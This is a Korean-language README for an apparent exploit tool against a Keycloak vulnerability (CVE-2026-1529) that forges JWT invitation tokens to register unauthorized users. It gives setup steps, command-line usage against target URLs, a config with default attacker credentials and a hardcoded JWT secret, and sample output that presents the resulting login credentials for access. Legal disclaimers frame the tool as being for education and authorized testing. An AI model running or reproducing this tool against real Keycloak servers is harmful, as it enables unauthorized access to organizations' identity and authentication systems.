
Keycloak: 부적절한 초대 토큰 검증을 통한 무단 조직 등록
CVE-2026-1529: Keycloak - 부적절한 초대 토큰 검증을 통한 무단 조직 등록
⚠️ 경고: 이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
이 도구는 부적절한 JWT 초대 토큰 검증을 통해 무단 조직 등록을 허용하는 Keycloak의 심각한 취약점(CVE-2026-1529)을 시연합니다. 이 익스플로잇은 초대 토큰을 조작하여 Keycloak 인스턴스에 대한 무단 접근 권한을 얻습니다.
취약점 세부 정보:
# 저장소 복제
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# 가상 환경 생성
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
# 의존성 설치
pip install -r requirements.txt
# 디렉터리 구조 생성
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# 릴리스에서 파일 다운로드 또는 수동 복사
# 그런 다음 의존성 설치
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # 메인 익스플로잇 스크립트
├── requirements.txt # Python 의존성
├── README.md # 이 파일
├── config/
│ └── default_config.json # 구성 파일
├── utils/
│ ├── __init__.py # 패키지 초기화
│ ├── http_utils.py # HTTP 클라이언트 유틸리티
│ ├── jwt_utils.py # JWT 조작
│ └── crypto_utils.py # 암호화 유틸리티
├── logs/ # 자동 생성 로그
└── output/
└── reports/ # 익스플로잇 보고서
python3 keycloak-exploit.py https://target-keycloak.com
# 사용자 지정 초대 토큰 사용
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# 사용자 지정 조직 ID 사용
python3 keycloak-exploit.py -o custom_org_id https://target.com
# 사용자 지정 구성 파일 사용
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# 디버그 로깅 활성화
python3 keycloak-exploit.py -d https://target.com
# 도움말 표시
python3 keycloak-exploit.py -h
# 버전 표시
python3 keycloak-exploit.py -v
config/default_config.json을 편집하여 익스플로잇 매개변수를 사용자 지정합니다:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
익스플로잇은 다음 단계로 작동합니다:
취약점 확인
토큰 생성/조작
사용자 등록
로그인 검증
보고서 생성
output/reports/에 저장┌─────────────────┐
│ 대상 확인 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 토큰 생성/획득 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 토큰 조작 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 사용자 등록 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 로그인 테스트 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 보고서 생성 │
└─────────────────┘
============================================================
CVE-2026-1529 EXPLOIT RESULTS
============================================================
✓ 대상이 CVE-2026-1529에 취약합니다
🎯 익스플로잇 성공!
사용자 이름: admin_user_2026
비밀번호: KeycloakCVE2026!
이메일: [email protected]
로그인 링크: https://target.com/realms/master/account
📄 보고서 저장 위치: output/reports/exploit_report_20260211_050507.txt
🔐 제공된 자격 증명을 사용하여 Keycloak 인스턴스에 접근하세요!
⚠️ 이는 CVE-2026-1529로 인한 무단 접근을 시연합니다
============================================================
by f3ds cr3w est, 2002
============================================================
output/reports/에 상세 보고서가 저장되며 다음을 포함합니다:
로그는 상세 실행 정보와 함께 logs/ 디렉터리에 저장됩니다.
해결 방법:
# 올바른 디렉터리에 있는지 확인
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com
해결 방법:
# config 디렉터리가 존재하는지 확인
mkdir -p config
# config/에 default_config.json 복사 또는 생성
해결 방법: 최신 버전에서 수정되었습니다. urllib3를 업데이트하세요:
pip install --upgrade urllib3
가능한 이유:
해결 방법:
# 더 많은 세부 정보를 보려면 디버그 로깅 활성화
python3 keycloak-exploit.py -d https://target.com
해결 방법:
# config/default_config.json에서 시간 초과 증가
"timeout": 60
문제 해결을 위해 상세 로깅을 활성화합니다:
python3 keycloak-exploit.py -d https://target.com
다음이 표시됩니다:
⚠️ 중요 법적 고지 ⚠️
이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다.
이 도구를 사용함으로써 다음 사항에 동의합니다:
1. 소유하거나 명시적 서면 허가를 받은 시스템에서만 이 도구를 사용합니다.
2. 컴퓨터 시스템에 대한 무단 접근은 다음을 포함하되 이에 국한되지 않는
법률에 따라 불법임을 이해합니다:
- 컴퓨터 사기 및 남용법(CFAA) - 미국
- 컴퓨터 남용법 - 영국
- 기타 국가의 유사 법률
3. 이 도구 사용으로 인한 모든 결과에 대한 전적인 책임을 수락합니다.
4. 작성자와 기여자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
5. 이 도구는 어떠한 종류의 보증 없이 "있는 그대로" 제공됩니다.
본인 책임 하에 사용하세요. 무단 접근은 범죄입니다.
기여를 환영합니다! 다음 지침을 따르세요:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)# 포크 복제
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# 가상 환경 생성
python3 -m venv venv
source venv/bin/activate
# 의존성 설치
pip install -r requirements.txt
# 변경 사항 적용 및 테스트
python3 keycloak-exploit.py https://test-target.com
작성자: f3ds cr3w est, 2002
질문, 문제 또는 보안 우려 사항:
기억하세요: 항상 책임 있는 공개와 윤리적 해킹을 실천하세요. Ref: https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation f3ds cr3w est, 2002가 ❤️로 제작
| 인수 | 약어 | 설명 |
|---|
target | - | 대상 Keycloak URL(필수) |
--token | -t | 사용자 지정 초대 토큰 |
--org-id | -o | 사용자 지정 조직 ID |
--config | -c | 구성 파일 경로 |
--debug | -d | 디버그 로깅 활성화 |
--version | -v | 버전 정보 표시 |
--help | -h | 도움말 메시지 표시 |
| 섹션 | 매개변수 | 설명 | 기본값 |
|---|
exploit | default_username | 등록용 사용자 이름 | admin_user_2026 |
exploit | default_password | 등록용 비밀번호 | KeycloakCVE2026! |
exploit | default_email | 등록용 이메일 | [email protected] |
exploit | timeout | HTTP 요청 시간 초과(초) | 30 |
exploit | max_retries | 최대 HTTP 재시도 횟수 | 3 |
jwt | algorithm | JWT 서명 알고리즘 | HS256 |
jwt | secret_key | JWT 비밀 키 | 사용자 지정 |
jwt | token_expiry | 토큰 만료 시간(초) | 3600 |